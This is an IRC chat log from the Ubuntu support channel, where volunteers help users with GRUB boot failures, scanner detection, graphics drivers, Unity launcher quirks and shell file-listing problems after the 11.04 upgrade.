[23:24] <tully-> perl -e '$_="aeC ya rnco acIfp ucae,sr s";$_.=$1,print$2while s/(..)(.)//;' |sed 's/,/\n/
[23:24] <stittel> ohsix: Well, I can understand why it's not supported anymore. But in that case there should be no nvidia-96 package in the repos.
[23:24] <Kevin`> klunky999: /boot/grub/grub.cfg, or is it .conf
[23:24] <klunky999> ok
[23:24] <ohsix> stittel: good question, but that's the conflict on the package, has been for a long time; there just hasn't been a new server until natty
[23:24] <klunky999> just a min man
[23:24] <ActionParsnip> Caly: hold shift at boot, select recovery mode, select root
[23:24] <Kevin`> klunky999: oh, and did you delete a small useless looking windows boot partition when you installed ubuntu?
[23:24] <daniel_> ActionParsnip, http://paste.ubuntu.com/601015/
[23:24] <Rockj> AaeRohn: sudo adduser <your_username> scanner    should put you in the scanner group at least, that might give you the correct/enough permissions for the scanner program to detect your device maybe?
[23:24] <coolkid25> Can somebody please tell me how to fix Ubuntu?
[23:24] <ohsix> stittel: you could probably report a bug and have it removed for natty
[23:24] <ActionParsnip> AaeRohn: tried a few scanning apps?
[23:25] <KNUBBIG> coolkid25: what's your problem?
[23:25] <tully-> coolkid25, might help if you said the problem
[23:25] <AaeRohn> Rockj: checked, and nothing says scanner or printer... I am the only user on this computer
[23:25] <klunky999> Kevin`:  no i choosed the option run windows 7 with ubuntu together
[23:25] <ohsix> AaeRohn: ah no idea, i was reading into it something you hadn't said; my bad
[23:25] <ActionParsnip> daniel_: sudo lshw -C network     the C is capitalized
[23:25] <ninjai> i cant remember where i changed this before... but i need to remap F10 (as it pulls down menus from sys tray), where can i do this?
[23:25] <[snake]> Can I use different languages (in this case hebrew, which must go right to left) in the terminal?
[23:25] <AaeRohn> ActionParsnip: I've tried Simple Scan, Xsane Image Scanner, and GIMP
[23:25] <stittel> ohsix: Well, thanks anyways.
[23:25] <truepurple> n3glv: So ubuntu doesn't come with a file search option?
[23:25] <coolkid25> tully-: Ubuntu won't boot, when I choose ubuntu in the boot menu, all I get is some kind of GRUB command prompt.
[23:25] <ActionParsnip> AaeRohn: hmm, are there any bugs logged?
[23:25] <n3glv> truepurple: u need to do updatedb first
[23:26] <ohsix> Rockj: udev/consolekit should already be applying the correct permissions to those things without him needing to be put in some group
[23:26] <n3glv> truepurple: then locate tomboy
[23:26] <arch_is_awesome> Hello, anyone know what packages I need to use a dvd?
[23:26] <tully-> coolkid25, you do an update, fresh install, any recent changes?
[23:26] <Rockj> ohsix: I'm sure how you fix setting devices in correct usb-mode tho :/  Always got it fixed by either fixiing permissions to the device/being in correct group or getting the correct debian package which contains neccery drivers.
[23:26] <arch_is_awesome> I have dwd+rw-tools
[23:26] <AaeRohn> Rockj: no scanner group
[23:26] <ohsix> stittel: sorry theres no good news, does nouveau not work for you? it's getting a lot of attention with this release and should start improving even faster
[23:26] <n3glv> arch_is_awesome: k3b is cool
[23:26] <arch_is_awesome> I tried to install libdvdcss but it is not there.
[23:26] <di0x> arch_is_awesome, libdvdcss2
[23:26] <arch_is_awesome> ahh
[23:26] <truepurple> n3glv: What is "updatedb"? So ubuntu doesn't come with a file search program?
[23:26] <AaeRohn> ActionParsnip: only in the Xsane, "Invalid arguement"
[23:26] <Kevin`> [snake]: normally yes, but files are named what they are named, it could be.. interesting
[23:26] <Rockj> AaeRohn: hm, ohsix says that should be fixed automagically at booting if things are setup propertly. hm.
[23:26] <klunky999> here it is Kevin`
[23:26] <klunky999> http://paste.ubuntu.com/601023/
[23:26] <ohsix> arch_is_awesome: run /usr/share/doc/libdvdread4/install-css.sh
[23:27] <_Geri_> hi
[23:27] <daniel_> ActionParsnip, http://paste.ubuntu.com/601024/
[23:27] <_Geri_> is something app-store like thingie in ubuntu, where i can sell softwares?
[23:27] <arch_is_awesome> Package libdvdcss2 is not available, but is referred to by another package.
[23:27] <Rockj> ohsix: wouldn't hurt for him to try  a "sudo adduser <his_username> scanner" ?
[23:27] <makaveli0129> ok my trash can says it's full but everytime i try to empty it my system slows way way down i tried from command line using rm -rf ~/.Trash/ and that completes with no error any idea on how to empty trash?
[23:27] <stittel> ohsix: It's marked as "highly experimental" and this is for a computer that will go to clueless people in another country without me being available for support. :)
[23:27] <n3glv> truepurple: the slocate app needs to be installed
[23:27] <Caly> ActionParsnip: ok, so i choose root - Drop to root shell prompt?
[23:27] <coolkid25> tully-: I upgraded Ubuntu last night to 10.10, and it worked fine then, and this morning.
[23:27] <tully-> upgrade to 10.10 or 11.04 because thats the one that just came out
[23:28] <AaeRohn> Rockj: as I ad, it's been a few days with these drivers and MFC
[23:28] <arch_is_awesome> ohsix: Thank you so much.
[23:28] <Caly> ActionParsnip: or netroot (...with networking"
[23:28] <AaeRohn> as I said*
[23:28] <arch_is_awesome> ohsix: Did it add medibuntu?
[23:28] <[snake]> Kevin`, I see what you mean... I found a multi-lingual terminal, but it is too simple and I don't know how to make it left to right.
[23:28] <ohsix> arch_is_awesome: no, it just grabbed one package from it
[23:28] <guntbert> !trash | makaveli0129
[23:28] <ubottu> makaveli0129: Your GUI file manager's Trash folder is located at ~/.local/share/Trash/ for files moved to trash from your hard disk and .../.Trash-userid/ on external devices for files moved to trash from the device.
[23:28] <arch_is_awesome> Goodf
[23:28] <arch_is_awesome> *Good
[23:28] <demlasjr> hey guys does anybody have idea why my pc's screen is turning black or orange each 10-15 minutes ?
[23:28] <demlasjr> :(
[23:29] <coolkid25> tully-: I am on 10.10.
[23:29] <Caly> tully-: uptadating to 11.04 seems to be why this chan is now super active... many get tehir sysstem fucked up by it..
[23:29] <ohsix> demlasjr: intel or nvidia?
[23:29] <n3glv> demlasjr: power settings or screen save?
[23:29] <guntbert> makaveli0129: it seems they move it around a little :-))
[23:29] <n3glv> demlasjr: sleep mode?
[23:29] <ActionParsnip> Caly: https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx
[23:29] <Kevin`> klunky999: show the output of fdisk -l
[23:29] <Kevin`> klunky999: actually there seems to be a bug there, or someone changed it, since it doesn't have the partition numbers..
[23:29] <Kevin`> klunky999: oh right, nevermind
[23:29] <tully-> Caly, many dont do it right either
[23:29] <demlasjr> ATI ohsix
[23:29] <demlasjr> no....working on it..
[23:29] <[snake]> Kevin`, I meant right to left :P
[23:29] <Vanillalite> Can anyone else get chrome/ium to stay as the default browser or is this a known bug?
[23:29] <superlou> Has anyone had trouble installing 11.04 AMD64 with nvidia.  Freezes on something about nvidia_current that seems to have been fixed a while back.  I can install "successfully" by telling ubuntu to skip before it gets to that part of configuration, but I'm not sure exactly what gets skipped and if I'll regret that later.
[23:29] <klunky999> Kevin`:  what u want me to do ?
[23:29] <demlasjr> is freezing in black or orange
[23:29] <makaveli0129> guntbert: so can i just rm -rf ~/.local/share/Trash$
[23:29] <demlasjr> need to restart from the button
[23:29] <aj00200> Are there any customizations which can be applied to the launcher such as size or having them "tilt" backwards at the top and bottom?
[23:30] <[snake]> Wow... I can't even tell my left and right without thinking about it... this is a sad day.
[23:30] <Caly> tully-: a popup askes yo "do you want to update to the latest version bla bla.. "   one press "OK" and that is wron?
[23:30] <Caly> *wrong
[23:30] <Cream2011> Ive been trying to install Ubuntu 10.10 off my usb drive, however when I go through the installation process it gets to the point where it asks me for my computer name, password, etc and finishes installing to where it says "Ready when you are" in the progress bar.  When I get to this point, it doesnt allow me to click the "Forward" button =/  I already deleted my crappy windows 7, and now the only way I can use my netbook is t
[23:30] <coolkid25> tully-: are you there?
[23:30] <guntbert> makaveli0129: I suggest you first look what is there: ls -l ~/.local/share/Trash  (no $ !)
[23:30] <aj00200> Cream2011: your message got cut off at "my netbook is t"
[23:31] <guntbert> makaveli0129: and then your command (without $) will be fine
[23:31] <Cream2011> through my flash drive
[23:31] <Kevin`> klunky999: fdisk -l
[23:31] <Cream2011> help
[23:31] <Cream2011> lol
[23:31] <demlasjr> so I guess no idea :)
[23:31] <alteregoa> hello mr ubuntu
[23:31] <makaveli0129> ~/.local/share/Trash$
[23:31] <guntbert> !enter | Cream2011
[23:31] <ubottu> Cream2011: Please try to keep your questions/responses on one line. Don't use the "Enter" key as punctuation!
[23:31] <klunky999> Kevin`:  dont show nothin
[23:31] <makaveli0129> expunged  files  info
[23:31] <Kevin`> klunky999: as root, or with sudo
[23:31] <alteregoa> how long does it take to update from maverick to narwhale?
[23:31] <giampaolo> am I the only one who just HATES the new gui and switched back to classical them after a couple of hours?
[23:31] <makaveli0129> is the files listed in there
[23:31] <Rockj> AaeRohn: Im plugging in my scanner here to check some command line tools.      are you able to type   "sane-find-scanner" in your terminal? does it detect any scanners?
[23:31] <guntbert> !pastebin | makaveli0129
[23:31] <ubottu> makaveli0129: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[23:31] <klunky999> Kevin`:  sorry im noob :)
[23:32] <shane4ubuntu1> anyone know of a good timer for ubuntu?  I used to use the tea timer on the panel, but well, that no longer exist with unity any timely timer tips??  :)
[23:32] <tully-> coolkid25, no
[23:32] <cannonball> My 10.10 -> 11.04 upgrade went very well.  However, for some reason, my rhythmbox only sees two of the 10 or so RSS feeds that I have.  Has anybody come up against something similar?  I suspect something in ~/.local/share/rhythmbox/rhythmdb.xml is corrupted, but it _looks_ fine to me.
[23:32] <alteregoa> how long is the update? 1hour?
[23:32] <klunky999> Kevin`:  http://paste.ubuntu.com/601029/
[23:32] <coolkid25> Can somebody help me fix Ubuntu? It won't boot right, when I select it in the boot menu, all I get is some kind of GRUB terminal.
[23:32] <aj00200> Cream2011: does the "try" feature work on the Live CD?
[23:32] <Guest11028> i updated with no problems
[23:33] <KNUBBIG> alteregoa: depends on many things, very bad to predict
[23:33] <Cream2011> Its a netbook, I dont have a cd.
[23:33] <AaeRohn> rockj: it detected
[23:33] <Cream2011> but yes
[23:33] <alteregoa> i didnt install that much
[23:33] <alteregoa> a relative clean ubuntu
[23:33] <aj00200> coolkid25: does it give some type of error code that you could look up?
[23:33] <Rockj> AaeRohn: interesting, could you pastebin the results for me in a pastebin?
[23:33] <guntbert> makaveli0129: ah there are folders, so ls -lR ~/.local/share/Trash
[23:33] <Cream2011> I am using the "try feature" on my usb drive.
[23:33] <demlasjr> repeat: each 20 minutes my laptop screen is turning black or orange, especially when the CPU is more solicited (around 70%-90%). The only way I can start or fix it is to restart the whole pc...it's frustrating :|  Video card: ATI Radeon with the drivers installed, Ubuntu: 11.04
[23:33] <KNUBBIG> alteregoa: also depends on the load of the server, your internet connection, your hdd speed and your CPU speed
[23:33] <coolkid25> nott anymore aj00200
[23:33] <daniel_> woul anyone know why my internet isnt working it worked before i updated and it isnt evan showing the led wifi light on evan if i toggle fn + F2 i looked at available drivers and it says the wirless one is being used idk how that it since i dont have wifi
[23:33] <truepurple> n3glv: You still there?
[23:33] <Kevin`> klunky999: looks like that entry should work, since it's what the mbr would normally do
[23:33] <coolkid25> now i just have a terminal
[23:33] <coolkid25> a grub terminal.
[23:33] <alteregoa> well my hdd speed is 7200 rpm
[23:34] <tully-> demlasjr, update to manufacturers driver
[23:34] <Rockj> AaeRohn: http://paste.ubuntu.com
[23:34] <tully-> drivers*
[23:34] <mdmkolbe> In Unity the panel at the top (i.e. the thing holding the ubuntu button, the app menu and the indicators), keeps disappearing and leaving behind a black area of the screen whenever I start tweaking settings (e.g. in CCSM).  It remains that way until I restart.  Is there a better way than restarting the machine to get it back (e.g. restart or give a kick to some "panel" process)?
[23:34] <karth> anyone know how to disable compiz font scaling?
[23:34] <alteregoa> and the cpu speed is aprox 300'000 miles per second
[23:34] <aj00200> coolkid25: if you restart to you get an error code again? This is key to debugging it
[23:34] <Caly> ActionParsnip: well, i wasnt looking to fix my wifi, i was looking to reverse the 11.04 upgrade that fucked up my boot, i don't get to GUI..
[23:34] <alteregoa> or km/s
[23:34] <AaeRohn> rockj: http://paste.ubuntu.com/601030/
[23:34] <Kevin`> klunky999: I don't suppose you can run the two commands in the file in grub and say what it gives back
[23:34] <klunky999> Kevin`:  but dont, i just click windows 7 to load up and ig ends again in grub manager ...
[23:34] <dibs> I need help, can't upgrade   :E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.
[23:34] <KNUBBIG> alteregoa: cool so you got some kind of light processor? would be km, then
[23:35] <Kevin`> klunky999: that's why I want you to type it in, so it doesn't return
[23:35] <Kevin`> klunky999: although it would normally show something anyway, you might me missing it
[23:35] <NickUK`> Yo - I'm currently having an issue when booting into my Ubuntu 11.04 USB - The screen just goes all fuzzy like static but still static.
[23:35] <klunky999> ok so what i do ?
[23:35] <truepurple> Doesn't synaptic package manager know where the files of the programs it lists are? Is it possible to use synaptic package manager to find the files of the programs it lists?
[23:35] <klunky999> Kevin`:  ok so what i do ?
[23:36] <Rockj> AaeRohn: while I read some documentation, try this while waiting for the **** of it:     sudo adduser <username_on_your_pc> scanner             then logout and login again so it starts a new session.(reboot shouldnt be needed afaik aslong as you restart the session) See if xsane detects your scanner then.
[23:36] <work> olá boa noite
[23:36] <KNUBBIG> alteregoa: I can just tell you that the simple installation of the packages took 3 hours on my laptop and one hour one my desktop, you have to add download time
[23:36] <makaveli0129> gunbert: i just did rm -rf files from that directory
[23:36] <coolkid25> aj00200: nope
[23:36] <dibs> Is this where to get help?
[23:36] <bobopolos> hi
[23:36] <guntbert> !pt | work
[23:36] <ubottu> work: Por favor, use #ubuntu-br para ajuda em português. Para entrar no canal por favor faça "/join #ubuntu-br" sem as aspas. Para a comunidade local portuguêsa, use #ubuntu-pt. Obrigado.
[23:36] <demlasjr> I'm trying now -tully, ty !
[23:36] <guntbert> !tab | makaveli0129
[23:36] <ubottu> makaveli0129: You can use your <tab> key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line.
[23:37] <klunky999> Kevin`:  just tell me what to try and i do it
[23:37] <Kevin`> klunky999: press c, then enter the lines it shows for windows starting at insmod. you don't need to enter the uuid one if you don't want, since it's annoying
[23:37] <guntbert> makaveli0129: and, are you satisfied with the result?
[23:37] <AaeRohn> rockj: there is no scanner group
[23:37] <truepurple> Doesn't synaptic package manager know where the files of the programs it lists are? Is it possible to use synaptic package manager to find the files of the programs it lists?
[23:37] <aj00200> coolkid25: hmm, I'm not sure where to go from here if you don't have an error code. You may have to reinstall
[23:37] <Rockj> AaeRohn: actually,   try   scanimage -L    in the terminal .
[23:37] <Kevin`> klunky999: normally i'd do that in kvm so you can get a screenshot, but that's not easy to explain
[23:37] <klunky999> Kevin`:  but you mean when i load grub ?
[23:37] <Acriax> I was playing around with compiz and somehow managed to disable the top bar and all gui elements except the icons on the screen when in Unity mode. Many keyborard-shortcuts don't work either, like bringing up the console. Help me, how can I fix this?
[23:37] <Rockj> AaeRohn: brb, plugging in my scanner, easier to help you figure out of the stuff then ;)
[23:38] <ActionParsnip> truepurple: the package system knows, yes
[23:38] <KNUBBIG> Acriax: try booting into classic ubuntu and reset everything to default in the compizconfig-settings-manager
[23:38] <truepurple> ActionParsnip: So how do I use it to take me to said files?
[23:38] <NickUK`>  I'm currently having an issue when booting into my Ubuntu 11.04 USB - The screen just goes all fuzzy like static but still static.
[23:38] <Acriax> KNUBBIG good idea
[23:38] <bobopolos> I've been trying to bridge wlan0 and eth0, i follow steps found, ifconfig, route -n, and brctl show display reasonable results, but i cant ping anything on the eth0 side of the bridge. any advice? should i temporarily disable "network manager" or some other service that may be interfering?
[23:38] <ActionParsnip> truepurple: do you want to know what files are in a package?
[23:38] <daniel_> woul anyone know why my internet isnt working it worked before i updated and it isnt evan showing the led wifi light on evan if i toggle fn + F2 i looked at available drivers and it says the wirless one is being used idk how that it since i dont have wifi
[23:38] <ForeverDrunk> How come there is no curl php5 package?
[23:38] <Kevin`> klunky999: yes when at the grub menu
[23:38] <AaeRohn> Rockj: it says: device `brother3:bus7;dev1' is a Brother MFC-6490CW USB scanner
[23:39] <jdsbluedevl> hi, just installed Natty, noticing that the Unity desktop is not functional at all
[23:39] <joepa> is it possible to remove the mail icon in the natty/unity system tray?
[23:39] <truepurple> ActionParsnip: No, I want to locate tomboy notes since its missing from my panel, and missing as a option to add to my panel
[23:39] <jdsbluedevl> it flashes my icons for a second, then goes blank
[23:39] <ActionParsnip> truepurple: then run:  which tomboy
[23:40] <igitihi> hi there! I'm trying to restore my mbr (dual boot with xp). Can anybody help please?
[23:40] <coolkid25> aj00200: but i will lose all of my data! cant i just do a command in the terminal to see what is wrong?
[23:40] <Cream2011> Anyone know why, for some reason, the installation of ubuntu Netbook 10.10 Rmx wont complete for me? I've tried using it from a pen drive and from an external HD, both arent allowing me to complete installation at the same point.
[23:40] <truepurple> ActionParsnip: Do what now?
[23:40] <bizerklurker> Every time I login, I get the same default icons despite removing them and adding new ones ( by right-clicking on apps like skype and pressing "keep in launcher.") I hope I have explained my problem thoroughly - I am a ubuntun00b. Is this just a bug, is it fixable, or am I missing something here?
[23:40] <Rockj> AaeRohn: try   scanimage -x 100 -y 100 --format=tiff >image.tiff
[23:40] <aj00200> coolkid25: sorry, I am not familiar with the terminal. Maybe try using a live CD to copy your files to an external source or even Ubuntu One if you have enough space on it and then restore them after a resinstall
[23:40] <timholum> hello, does anyone know of a way to change how the search menu operates in 11.04? I would like it where if I type \\192.168.1.50 it smb connects to 192.168.1.50
[23:40] <Rockj> AaeRohn: just checking if it's able to scan anything.
[23:41] <ActionParsnip> truepurple: run the command in terminal and it will tell you what binary is ran when you run tomboy
[23:41] <truepurple> ActionParsnip: What command?
[23:41] <ActionParsnip> truepurple: the command is:  which tomboy
[23:41] <dibs> I can't get past setting new software channels when trying to upgrade to natty. Help??
[23:41] <ohsix> timholum: did you try smb://192.168.1.50/ ?
[23:41] <coolkid25> ActionParsnip: Can you help me with the GRUB terminal?
[23:41] <AaeRohn> Rockj: scanimage: open of device brother3:bus7;dev1 failed: Invalid argument
[23:41] <bizerklurker> how do I get my launcher icons to stop reverting to default upon every login in unity?
[23:42] <dark-matter> I updated to 11.04 and my nvidia driver on my dell d630 won't work.  I can get command line, but no GUI
[23:42] <dark-matter> anyone have ideas?
[23:42] <ActionParsnip> dibs: can you give the output of: sudo do-release-upgrade
[23:42] <truepurple> ActionParsnip: All it says is "/usr/bin/tomboy"
[23:42] <jdsbluedevl> anyone else have problems with the Unity desktop?
[23:42] <_jam> so, the intel wireless N bug that affected maverick and claims to be fixed is not fixed
[23:42] <bizerklurker> how do I get my launcher icons to stop reverting to default upon every login in unity?
[23:42] <Caly> dark-matter: welcome to my world...
[23:42] <timholum> ohsix: yup, it opens firefox to http://smb://192.168.1.50
[23:42] <Caly> same here
[23:42] <ActionParsnip> dark-matter: uninstall the nvidia driver, boot then reinstall the driver then reboot
[23:42] <dark-matter> Caly: NOO!!!!!
[23:42] <dark-matter> :)
[23:42] <dibs> ActionParsnip: will try thanks
[23:43] <bizerklurker> how do I get my launcher icons to stop reverting to default upon every login in unity?
[23:43] <stravant> I upgraded and in the new UI none of my windows have menus. Like, the menu underneath the window title in the window frame, what's that menu called? I'm looking for a solution but I don't know what it's called.
[23:43] <ActionParsnip> truepurple: then thats the binary, is that not what you wanted?
[23:43] <dark-matter> ActionParsnip: ok
[23:43] <ohsix> timholum: nice; haha, well i don't have much to add sorry, that format uri would work in nautilus
[23:43] <dark-matter> Caly: did that work?
[23:43] <Caly> what?
[23:43] <relik> hello
[23:43] <truepurple> ActionParsnip: The binary?
[23:43] <lollab> hello, I have HP elitebook 8440p and I would like to enable fingerpint scanner for sudo privlige, any help?
[23:43] <dark-matter> Caly: what ActionParsnip suggested
[23:43] <Caly> i'm here on my other computer running Trisquel to get help with that same problem
[23:43] <bizerklurker> how do I get my launcher icons to stop reverting to default upon every login in unity?
[23:43] <truepurple> ActionParsnip: What do you mean by binary?
[23:43] <Caly> dark-matter: not so far
[23:43] <daniel_> hello i cannot get my wifi to work for the life of me i push fn +f2 wont turn it on i hceck avaiable drivers shows that my wifi card is in use (evan htough i have no wifi) and i went to and made sure i had all the broadcom packages installed but still no luck in getting it to work evan though it worked before i updated
[23:43] <coolkid25> Can somebody help me fix Ubuntu? It won't boot right, when I select it in the boot menu, all I get is some kind of GRUB terminal.
[23:43] <relik> when i try to do "ls *.mpg" i get this error message: ls: invalid option -- ' '
[23:43] <timholum> ohsix: ya, I am assuming the program to search is written in python, I just have to find where to write a patch
[23:43] <ActionParsnip> truepurple: yes the binary is the actual file executed when you run the command
[23:44] <relik> any idea what causes this?
[23:44] <work> hi, how disable touch screen in ubuntu 11.04?
[23:44] <coolkid25> ActionParsnip: Can you please help me? I heard you are the best.
[23:44] <Rockj> AaeRohn: checking stuff here, trying to figure out how to communicate with my scanner on the commmand line.
[23:44] <ActionParsnip> coolkid25: hardly
[23:44] <bizerklurker> how do I get my launcher icons to stop reverting to default upon every login in unity?
[23:45] <coolkid25> The best, and humble.
[23:45] <coolkid25> Amazing.
[23:45] <relik> why does ls *.avi works but ls *.mpg does not on Ubuntu?
[23:45] <tully-> bizerklurker, change the default settings
[23:45] <KNUBBIG> Acriax: if you're still having troubles, try http://www.webupd8.org/2011/04/how-to-reset-unity-launcher-icons-or.html
[23:45] <work> hi, how disable touch screen in ubuntu 11.04?
[23:45] <ActionParsnip> relik: check case
[23:45] <xangua> relik: installed codecs¿
[23:45] <xangua> work: don't touch the screen¿
[23:45] <kwtm> relik: What does "ls *.mpg" do on your system, and what do you expect it to do?
[23:45] <aj00200> relik: you might want to check that your files are not called *.MPG (note the case) or *.mpeg
[23:45] <relik> kwtm: show me files with mpg
[23:46] <relik> aj00200: i get an error message when i do ls *.mpg
[23:46] <kwtm> relik: Ahh, I see your line from above.  Almost missed it.
[23:46] <relik> thats the problem
[23:46] <Acriax> KNUBBIG okay, I will try that next. Resetting the compiz settings didn't help
[23:46] <ActionParsnip> coolkid25: if you boot to livecd, chroot to the installed OS and manipulate grub
[23:46] <lollab> I forgot to say, fprint does't see any device,
[23:46] <Cream2011> I cant complete installation from my usb drive :(
[23:46] <ojii> hi everyone
[23:46] <Rockj> AaeRohn: http://paste.ubuntu.com/601034/
[23:46] <kwtm> relik: Okay, you should not type  "ls - "
[23:46] <truepurple> ActionParsnip: Does ubuntu not have a built in feature for finding a file on either ones hard drive, or the page they are lookng at?
[23:46] <coolkid25> ActionParsnip: Where do I get a live CD?
[23:46] <relik> kwtm: i know
[23:46] <ActionParsnip> relik: try:   ls | grep -i ".mpg"   ,ay work
[23:46] <xangua> coolkid25: ubuntu.com
[23:46] <coz_> !ubuntu
[23:46] <ubottu> Ubuntu is a complete Linux-based operating system, freely available with both community and professional support. It is developed by a large community and we invite you to participate too! - Also see http://www.ubuntu.com
[23:46] <relik> just ls *.mpg causes problems
[23:46] <ojii> for some reason the interface language in my login screen is in japanese, but after I login everything is in English (as it should be), how can I change/fix the language in my login screen?
[23:46] <ActionParsnip> coolkid25: its the CD you installed with
[23:47] <work> how disable touchscreen in ubuntu 11.04, is not wacom now?
[23:47] <bizerklurker> how do I get my launcher icons to stop reverting to default upon every login in unity?
[23:47] <kwtm> relik: However, if one of your files is named "- something.mpg", then   ls *.mpg   will turn into   ls -   something.mpg  which will generate that error.
[23:47] <ActionParsnip> truepurple: there are search apps. I'm unclear as to what you are after
[23:47] <coz_> work,   wacom drivers are installed
[23:47] <coolkid25> ActionParsnip: I installed 10.10 via ubuntu update manger
[23:47] <coolkid25> :x
[23:47] <coz_> work,  I dont have touch screen to see if it is wacom driving that
[23:47] <BrixSat> hello
[23:47] <ActionParsnip> work: if you unload the module driving it, it will cease to work
[23:48] <kwtm> relik: Type this instead:    find -name '*.mpg'     (don't forget those single quotes) and see if you have any funny filenames.
[23:48] <bizerklurker> how do I get my launcher icons to stop reverting to default upon every login in unity?
[23:48] <BrixSat> how do i install a prism isl3886 pci card on ubuntu?
[23:48] <arianit> anyone having their GDM randomly restarting on Natty with Unity
[23:48] <truepurple> ActionParsnip: Something like windows search command, and/or like a browsers or text files find a particular word on this page command.
[23:48] <ActionParsnip> coolkid25: then download the ISO, MD5 test it then make a bootable USB or burn it to CD
[23:48] <igitihi> Is anybody able to help me restore my grub menu? I can't boot into Ubuntu anymore... Please, it's urgent!
[23:48] <bizerklurker> the question to answer ratio 10 : 1
[23:48] <coz_> bizerklurker,  are you right clicking an application icon when it appears in the launcher and  choosing to keep it in launcher?
[23:48] <coolkid25> after i burn it what do i do ActionParsnip ?
[23:48] <ActionParsnip> truepurple: there are search apps like beagle
[23:48] <bizerklurker> coz, yes
[23:48] <ActionParsnip> coolkid25: boot to it
[23:49] <relik> hmmmm
[23:49] <truepurple> ActionParsnip: Built into ubuntu?
[23:49] <demlasjr> related with the black screen...same problem even with the last driver :|
[23:49] <ActionParsnip> !info beagle | truepurple
[23:49] <ubottu> truepurple: Package beagle does not exist in natty
[23:49] <relik> maybe its a feature but i consider that a bug
[23:49] <coz_> bizerklurker,   mm  that's odd, it should hold on to them... I am not on natty right now so I cant test
[23:49] <coolkid25> how would i do that ActionParsnip
[23:49] <ActionParsnip> hmm
[23:49] <coolkid25> ?
[23:49] <KNUBBIG> man so many ppas with no natty versions, kinda annoying on apt-get update :)
[23:49] <ActionParsnip> coolkid25: boot to the cd you burn
[23:49] <kwtm> relik: For example, if someone decided to name a file "- This is such a great movie -".mpg  then you will have problems if you do not know enough about bash.
[23:49] <truepurple> ActionParsnip: Doesn't ubuntu come with any of its own search functions?
[23:49] <coolkid25> but how? :x
[23:49] <bizerklurker> coz_, okay. thank you.
[23:49] <lightstep> hello
[23:49] <relik> kwtm: how can you wor around it?
[23:50] <coolkid25> ActionParsnip: In the settings of the computer?
[23:50] <ActionParsnip> truepurple: I believe nautilus has one.I always use the find command in CLI
[23:50] <lightstep> i installed ubuntu 11.04, and i want to use a chat program other than empathy
[23:50] <daniel_> hello i cannot get my wifi to work for the life of me i push fn +f2 wont turn it on i hceck avaiable drivers shows that my wifi card is in use (evan htough i have no wifi) and i went to and made sure i had all the broadcom packages installed but still no luck in getting it to work evan though it worked before i updated
[23:50] <coz_> KNUBBIG,   I use  y-ppa-manager  it is helpful it only looks for ppas for the running ubuntu version
[23:50] <kwtm> relik: Well, you start with that find command I told you about.  What result did you get?
[23:50] <lightstep> is there a way to change the chat program in unity?
[23:50] <relik> kwtm: it works
[23:50] <ActionParsnip> coolkid25: how do you mean?
[23:50] <AaeRohn> Rockj: http://paste.ubuntu.com/601035/
[23:50] <relik> but it does not work for vlc
[23:50] <Dominater> !raid5
[23:50] <truepurple> ActionParsnip: Where is it then?
[23:50] <relik> vlc .mpg
[23:50] <KNUBBIG> coz_: oh I have that installed too, but didn't know it had that function. Thanks!
[23:50] <lightstep> the one run when clicking "chat" on the letter-image menu?
[23:50] <work> what name drive touchscreen in 11.04?
[23:50] <daniel_> hello i cannot get my wifi to work for the life of me i push fn +f2 wont turn it on i hceck avaiable drivers shows that my wifi card is in use (evan htough i have no wifi) and i went to and made sure i had all the broadcom packages installed but still no luck in getting it to work evan though it worked before i updated
[23:50] <kwtm> relik: <sigh> I know it works.  What does it say?  Are there any filenames that start with "-" or some other unexpected character?
[23:50] <Dominater> !raid
[23:50] <ubottu> Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/Installation/SoftwareRAID and http://www.tldp.org/HOWTO/LVM-HOWTO - For software RAID, see https://help.ubuntu.com/community/FakeRaidHowto
[23:50] <relik> kwtm: yes
[23:50] <kill3> Hmmm. What should I do when kernel panic. Im trying to install 11.04?
[23:51] <mdmkolbe> In Unity the panel at the top (i.e. the thing holding the ubuntu button, the app menu and the indicators), keeps disappearing and leaving behind a black area of the screen whenever I start tweaking settings (e.g. in CCSM).  It remains that way until I restart.  Is there a better way than restarting the machine to get it back (e.g. restart or give a kick to some "panel" process)?
[23:51] <ActionParsnip> truepurple: in nautilus, little magnifying glass icon...
[23:51] <Mahjongg> should I wait some more to upgrade to natty? production workstation here...
[23:51] <relik> there are some movies with weird characters in them
[23:51] <coz_> mdmkolbe,   ok  did you try restarting x?
[23:51] <work> what name drive touchscreen in 11.04?
[23:51] <daniel_> hello i cannot get my wifi to work for the life of me i push fn +f2 wont turn it on i hceck avaiable drivers shows that my wifi card is in use (evan htough i have no wifi) and i went to and made sure i had all the broadcom packages installed but still no luck in getting it to work evan though it worked before i updated
[23:51] <ActionParsnip> Mahjongg: I'd wait a while then, wait for the early bugs to be knockedout
[23:51] <Mahjongg> ActionParsnip, like around a month's time?
[23:51] <Rockj> AaeRohn: scanimage -L  gives? mind pasting that line too? does it give you "brother3:bus7;dev1" as device?
[23:52] <ActionParsnip> work: if you run:  lsmod     what is output, use a pastebin to host the text
[23:52] <karth> Mahjongg: yeah, I'd give it a few weeks at the least
[23:52] <kwtm> relik: Okay, please try   ls ./*.mpg    which is actually the correct way to list it.
[23:52] <ActionParsnip> Mahjongg: sounds reasonable
[23:52] <mdmkolbe> coz_: no, but my guess is that log out and back in will also fix it.  I'd just like to avoid having to stop and restart all my apps.
[23:52] <truepurple> ActionParsnip: Ok thanks, on to my next subject, getting a good ATI driver for my 6850, can you help?
[23:52] <Rockj> AaeRohn: try the same command again but put the brother3:bus7;dev1 in quotes like  "brother3:bus7;dev1" after -d argument.
[23:52] <DimaV> Hello. I just did an upgrad from 10.10 server to 11.04, but i screwed up grub/booting in the process. i have LVM on the system. can i get help restoring the boot? i have a live cd on hand.
[23:52] <bizerklurker> how do I get my launcher icons to stop reverting to default upon every login in unity?
[23:52] <Caly> dark-matter: yo, i got a half-solution at least...
[23:52] <kwtm> relik: Another way is   ls -- *mpg   for those who don't like the  ./*mpg
[23:52] <ActionParsnip> truepurple: check the hardware app. I don't use ati chips
[23:52] <relik> ok
[23:52] <dark-matter> Caly: what did you do?
[23:53] <relik> i'll try
[23:53] <Caly> dark-matter: hold shift at boot, choos earlier linux version
